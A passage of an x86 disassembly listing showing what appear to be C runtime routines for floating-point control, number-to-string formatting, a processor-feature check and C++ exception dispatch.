add esp, 0Ch
fstp [ebp+var_C]
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
sub ecx, 3FEh
mov [ebp+var_4], ecx
loc_4232CA: ; CODE XREF: sub_4231A0+2Bj
; sub_4231A0+F7j
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [edx], eax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4231A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232E0 proc near ; CODE XREF: sub_422640+171p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw [ebp+var_4]
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4232E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423300 proc near ; CODE XREF: sub_422640+349p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw [ebp+var_4]
fnclex
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423320 proc near ; CODE XREF: sub_418F70+11p
; sub_418F70+67p ...
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fstcw [ebp+var_8]
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
movsx ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
not edx
and ecx, edx
or eax, ecx
mov [ebp+var_4], ax
fldcw [ebp+var_4]
movsx eax, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423360 proc near ; CODE XREF: sub_422B10+25p
; sub_422B10+50p ...
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_42337D
fld tbyte_444230
fistp [ebp+var_C]
wait
loc_42337D: ; CODE XREF: sub_423360+11j
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_423397
fstsw ax
fld tbyte_444230
fstp [ebp+var_8]
wait
fstsw ax
loc_423397: ; CODE XREF: sub_423360+25j
mov edx, [ebp+arg_0]
and edx, 10h
test edx, edx
jz short loc_4233AB
fld tbyte_44423C
fstp [ebp+var_8]
wait
loc_4233AB: ; CODE XREF: sub_423360+3Fj
mov eax, [ebp+arg_0]
and eax, 4
test eax, eax
jz short loc_4233BE
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4233BE: ; CODE XREF: sub_423360+53j
mov ecx, [ebp+arg_0]
and ecx, 20h
test ecx, ecx
jz short loc_4233CE
fldpi
fstp [ebp+var_8]
wait
loc_4233CE: ; CODE XREF: sub_423360+66j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4233E0 proc near ; CODE XREF: sub_4190B0+15p
; ___:004298C5p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_429890
add esp, 8
pop ebp
retn
sub_4233E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423400 proc near ; CODE XREF: sub_423460:loc_423499p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp dbl_433CA0
fnstsw ax
test ah, 41h
jnz short loc_42344D
mov [ebp+var_1C], 1
jmp short loc_423454
; ---------------------------------------------------------------------------
loc_42344D: ; CODE XREF: sub_423400+42j
mov [ebp+var_1C], 0
loc_423454: ; CODE XREF: sub_423400+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423460 proc near ; CODE XREF: sub_4190B0+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 26A0797h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_423499
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
nop
call near ptr 26A0000h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_423499
push 0
call [ebp+var_8]
jmp short loc_42349E
; ---------------------------------------------------------------------------
loc_423499: ; CODE XREF: sub_423460+18j
; sub_423460+30j
call sub_423400
loc_42349E: ; CODE XREF: sub_423460+37j
mov esp, ebp
pop ebp
retn
sub_423460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B0 proc near ; CODE XREF: sub_41E9B0+6CFp
; DATA XREF: sub_4190F0+21o ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41A630
add esp, 4
cmp eax, 65h
jz short loc_423510
loc_4234CA: ; CODE XREF: sub_4234B0+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp dword_443B70, 1
jle short loc_4234F2
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_C], eax
jmp short loc_42350A
; ---------------------------------------------------------------------------
loc_4234F2: ; CODE XREF: sub_4234B0+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_42350A: ; CODE XREF: sub_4234B0+40j
cmp [ebp+var_C], 0
jnz short loc_4234CA
loc_423510: ; CODE XREF: sub_4234B0+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, byte_443B74
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42352B: ; CODE XREF: sub_4234B0+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_42352B
mov esp, ebp
pop ebp
retn
sub_4234B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423560 proc near ; CODE XREF: sub_41E9B0+6F1p
; DATA XREF: sub_4190F0+Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_423564: ; CODE XREF: sub_423560+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42358A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, byte_443B74
cmp eax, ecx
jz short loc_42358A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_423564
; ---------------------------------------------------------------------------
loc_42358A: ; CODE XREF: sub_423560+Cj
; sub_423560+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_423633
loc_4235A1: ; CODE XREF: sub_423560+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_4235CC
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_4235CC
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_4235CC
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4235A1
; ---------------------------------------------------------------------------
loc_4235CC: ; CODE XREF: sub_423560+49j
; sub_423560+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_4235DB: ; CODE XREF: sub_423560+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_4235F1
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_4235DB
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: sub_423560+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, byte_443B74
cmp ecx, edx
jnz short loc_42360B
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_42360B: ; CODE XREF: sub_423560+A0j
; sub_423560+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_423633
jmp short loc_42360B
; ---------------------------------------------------------------------------
loc_423633: ; CODE XREF: sub_423560+3Bj
; sub_423560+CFj
mov esp, ebp
pop ebp
retn
sub_423560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423640 proc near ; DATA XREF: sub_4190F0+2Bo
; ___:off_444258o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp dbl_434140
fnstsw ax
test ah, 1
jnz short loc_42365F
mov [ebp+var_4], 1
jmp short loc_423666
; ---------------------------------------------------------------------------
loc_42365F: ; CODE XREF: sub_423640+14j
mov [ebp+var_4], 0
loc_423666: ; CODE XREF: sub_423640+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_423640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423670 proc near ; CODE XREF: sub_420920+1138p
; DATA XREF: sub_4190F0+17o ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42369C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_42A3C0
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_4236B4
; ---------------------------------------------------------------------------
loc_42369C: ; CODE XREF: sub_423670+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_42A440
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_4236B4: ; CODE XREF: sub_423670+2Aj
mov esp, ebp
pop ebp
retn
sub_423670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4236C0 proc near ; CODE XREF: sub_423B50+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42A580
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_42A480
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_423740
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_4236C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423740 proc near ; CODE XREF: sub_4236C0+67p
; sub_423A60+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_423777
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_423BB0
add esp, 8
loc_423777: ; CODE XREF: sub_423740+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_423794
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_423794: ; CODE XREF: sub_423740+43j
cmp [ebp+arg_4], 0
jle short loc_4237B8
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, byte_443B74
mov [edx], al
loc_4237B8: ; CODE XREF: sub_423740+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_4184C0
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_4237E6
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_4237E6: ; CODE XREF: sub_423740+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_42389F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_423821
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_423821: ; CODE XREF: sub_423740+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_423855
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_423855: ; CODE XREF: sub_423740+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_423889
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_423889: ; CODE XREF: sub_423740+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_42389F: ; CODE XREF: sub_423740+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_423740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4238B0 proc near ; CODE XREF: sub_423B50+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42A580
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_42A480
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_423920
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_4238B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423920 proc near ; CODE XREF: sub_4238B0+5Bp
; sub_423A60+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_423973
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_423973
mov ecx, [ebp+var_4]
add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_423973: ; CODE XREF: sub_423920+18j
; sub_423920+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_423990
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_423990: ; CODE XREF: sub_423920+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_4239B8
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_423BB0
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4239C4
; ---------------------------------------------------------------------------
loc_4239B8: ; CODE XREF: sub_423920+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_4239C4: ; CODE XREF: sub_423920+96j
cmp [ebp+arg_4], 0
jle loc_423A56
push 1
mov eax, [ebp+var_4]
push eax
call sub_423BB0
add esp, 8
mov ecx, [ebp+var_4]
mov dl, byte_443B74
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_423A56
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_423A0E
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_423A34
; ---------------------------------------------------------------------------
loc_423A0E: ; CODE XREF: sub_423920+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_423A23
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_423A2E
; ---------------------------------------------------------------------------
loc_423A23: ; CODE XREF: sub_423920+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_423A2E: ; CODE XREF: sub_423920+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_423A34: ; CODE XREF: sub_423920+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_423BB0
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_417070
add esp, 0Ch
loc_423A56: ; CODE XREF: sub_423920+A8j
; sub_423920+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_423920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A60 proc near ; CODE XREF: sub_423B50+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42A580
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42A480
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_423AEB
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_423B07
loc_423AEB: ; CODE XREF: sub_423A60+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_423740
add esp, 14h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B07: ; CODE XREF: sub_423A60+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_423B2B
loc_423B0F: ; CODE XREF: sub_423A60+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_423B24
jmp short loc_423B0F
; ---------------------------------------------------------------------------
loc_423B24: ; CODE XREF: sub_423A60+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_423B2B: ; CODE XREF: sub_423A60+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_423920
add esp, 10h
loc_423B41: ; CODE XREF: sub_423A60+A5j
mov esp, ebp
pop ebp
retn
sub_423A60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423B50 proc near ; CODE XREF: sub_41E9B0+6ADp
; DATA XREF: sub_4190F0+3o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_423B5F
cmp [ebp+arg_8], 45h
jnz short loc_423B79
loc_423B5F: ; CODE XREF: sub_423B50+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4236C0
add esp, 10h
jmp short loc_423BAD
; ---------------------------------------------------------------------------
loc_423B79: ; CODE XREF: sub_423B50+Dj
cmp [ebp+arg_8], 66h
jnz short loc_423B95
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4238B0
add esp, 0Ch
jmp short loc_423BAD
; ---------------------------------------------------------------------------
loc_423B95: ; CODE XREF: sub_423B50+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_423A60
add esp, 10h
loc_423BAD: ; CODE XREF: sub_423B50+27j
; sub_423B50+43j
pop ebp
retn
sub_423B50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BB0 proc near ; CODE XREF: sub_423740+2Fp
; sub_423920+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_423BDC
mov eax, [ebp+arg_0]
push eax
call sub_414BE0
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
push edx
call sub_4197C0
add esp, 0Ch
loc_423BDC: ; CODE XREF: sub_423BB0+7j
pop ebp
retn
sub_423BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BE0 proc near ; CODE XREF: sub_4193A0+27p
; sub_419480+2Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 19930520h
jnz short loc_423BFA
mov [ebp+var_8], 0
jmp short loc_423C02
; ---------------------------------------------------------------------------
loc_423BFA: ; CODE XREF: sub_423BE0+Fj
call sub_424940
mov [ebp+var_8], eax
loc_423C02: ; CODE XREF: sub_423BE0+18j
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, 66h
test edx, edx
jz short loc_423C3E
mov eax, [ebp+arg_10]
cmp dword ptr [eax+4], 0
jz short loc_423C34
cmp [ebp+arg_14], 0
jnz short loc_423C34
push 0FFFFFFFFh
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_424150
add esp, 10h
loc_423C34: ; CODE XREF: sub_423BE0+36j
; sub_423BE0+3Cj
mov eax, 1
jmp loc_423CCB
; ---------------------------------------------------------------------------
loc_423C3E: ; CODE XREF: sub_423BE0+2Dj
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+0Ch], 0
jz short loc_423CC6
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_423C9E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jbe short loc_423C9E
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+8]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_423C9E
mov ecx, [ebp+arg_1C]
and ecx, 0FFh
push ecx
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call [ebp+var_4]
add esp, 20h
